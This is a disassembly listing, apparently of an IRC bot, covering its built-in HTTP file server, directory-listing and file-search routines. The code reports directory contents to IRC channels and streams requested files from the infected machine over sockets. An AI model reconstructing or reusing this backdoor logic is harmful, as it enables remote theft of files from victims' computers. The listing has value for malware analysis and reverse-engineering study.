loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA80 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA7C ; closesocket
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4349CC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA7C ; closesocket
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_427110 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_42710C ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CBA34 ; send
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA7C ; closesocket
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BF70
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B9C0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+var_10C], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+var_210], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429AD0
push eax
call sub_41C266
lea eax, [ebp+var_314]
push offset asc_42A088 ; "\n"
push eax
call sub_41CAD4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_4270A0 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+var_314]
push offset asc_434C80 ; "*"
push eax
call sub_41C8A0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
lea eax, [ebp+var_210]
push eax
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C266
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA7C ; closesocket
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_427114 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_427070 ; CloseHandle
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434C4C
push eax
call sub_41C266
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E924[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E934[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
call dword_427080 ; Sleep
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA7C ; closesocket
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_434C14
push eax
call sub_41C266
lea eax, [ebp+var_8C4]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BF70
mov edi, [ebp+arg_0]
push offset asc_42A088 ; "\n"
push edi
call sub_41CAD4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4104AF
call sub_41B9C0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
push edi
call sub_41B9C0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
cmp [ebp+arg_C], ebx
jz short loc_410564
push [ebp+arg_C]
call sub_41B9C0
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+arg_C]
call sub_41B9C0
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BFD0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call dword_427124 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_427120 ; FindNextFileA
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_42711C ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_427118 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C266
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+arg_C], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_1 ; "%s%s/"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+arg_C], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429AD0
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
call dword_427080 ; Sleep
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_427120 ; FindNextFileA
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+arg_0]
call dword_427000 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41C266
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41C266
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41C266
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA34 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_4270F8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
call dword_427114 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41BF70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_427128 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB978 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
call dword_427070 ; CloseHandle
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi
inc esi
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB954 ; WSAStartup
push 6
push 1
push 2
call dword_4CBA64 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
